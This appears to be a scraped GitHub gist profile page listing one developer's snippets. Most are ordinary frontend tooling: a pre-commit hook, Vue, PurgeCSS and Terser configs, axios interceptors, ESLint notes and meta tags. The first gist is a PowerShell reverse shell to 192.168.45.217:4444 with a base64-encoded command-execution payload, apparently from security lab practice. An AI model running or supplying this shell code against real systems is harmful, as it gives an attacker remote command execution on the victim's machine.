Skip to content

Instantly share code, notes, and snippets.

View dekadentno's full-sized avatar
📚
wannabe batica za security

Matej dekadentno

📚
wannabe batica za security
View GitHub Profile
function cleanup {
if ($client.Connected -eq $true) {$client.Close()}
if ($process.ExitCode -ne $null) {$process.Close()}
exit}
// Setup IPADDR
$address = '192.168.45.217'
// Setup PORT
$port = '4444'
$client = New-Object system.net.sockets.tcpclient
$client.connect($address,$port)
JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQA5ADIALgAxADYAOAAuADQANQAuADIAMQA3ACcALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAnAFAAUwAgACcAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAnAD4AIAAnADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQA
@dekadentno
dekadentno / pre-commit.sh
Last active March 25, 2023 20:00
pre commit hook
#!/bin/sh
#yorkie 2.0.0
command_exists () {
command -v "$1" >/dev/null 2>&1
}
has_hook_script () {
[ -f package.json ] && cat package.json | grep -q "\"$1\"[[:space:]]*:"
}
@dekadentno
dekadentno / meta.html
Created October 10, 2022 09:26 — forked from rajavijayach/meta.html
Meta Tags for better SEO
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<meta name="theme-color" content="#0095b6" />
<link href="https://cdn.company.com" rel="dns-prefetch" />
<title>Title of the page</title>
<meta name="keywords" content="company name, company category" />
<meta name="description" content="company description" />
@dekadentno
dekadentno / purgecss.js
Last active May 6, 2022 17:06
Vue CLI 3 + PurgeCSS
/**
1) npm i -D purgecss @fullhuman/postcss-purgecss purgecss-webpack-plugin glob-all path
2) edit vue.config.js
*/
/**
** vue.config.js
*/
const PurgecssPlugin = require('purgecss-webpack-plugin');
const glob = require('glob-all');
@dekadentno
dekadentno / task.md
Last active March 28, 2022 08:12
Frontend developer task

Frontend developer task

Make a Github clone using the Github API (https://developer.github.com/v3/). The design is optional, but the look and feel has to be different from the current Github design.

The app will have 3 routes:

  • /home
  • /search
  • /user/:username
@dekadentno
dekadentno / interceptors.js
Last active August 15, 2020 15:45
axios request interceptor for setting token in header and response interceptor for refresh token and repeat last api call
axios.interceptors.request.use(function(config) {
let userToken = localStorage.getItem('token');
if (userToken) {
axios.defaults.headers.common['Authorization'] = 'Bearer ' + userToken;
config.headers['Authorization'] = 'Bearer ' + userToken;
}
return config;
});
@dekadentno
dekadentno / eslint.md
Last active May 16, 2019 06:42
eslint config for my vue projects

Required VSCode plugins:

  • ESLint
  • Vetur
  • Prettier is NOT necessary to be installed

IMPORTANT:

  • don't put the .vscode folder (with the settings.json file) in the gitignore file:

There are 2 files and 1 user settings file that have to be edited:

@dekadentno
dekadentno / 1_primitive_comparison.js
Last active April 1, 2019 12:10 — forked from nicbell/1_primitive_comparison.js
JavaScript object deep comparison.Comparing x === y, where x and y are values, return true or false. Comparing x === y, where x and y are objects, returns true if x and y refer to the same object. Otherwise, returns false even if the objects appear identical.Here is a solution to check if two objects are the same.
//Primitive Type Comparison
var a = 1;
var b = 1;
var c = a;
console.log(a == b); //true
console.log(a === b); //true
console.log(a == c); //true
console.log(a === c); //true
@dekadentno
dekadentno / vue.config.js
Created March 15, 2019 10:00
vue config example working with purge css and terser (uglify / uglifyjs)
/**
npm i --save-dev terser-webpack-plugin purgecss @fullhuman/postcss-purgecss purgecss-webpack-plugin glob-all path
*/
const TerserPlugin = require('terser-webpack-plugin')
const PurgecssPlugin = require('purgecss-webpack-plugin')
const glob = require('glob-all') // required for purgecss
const path = require('path') // re quired for purgecss
...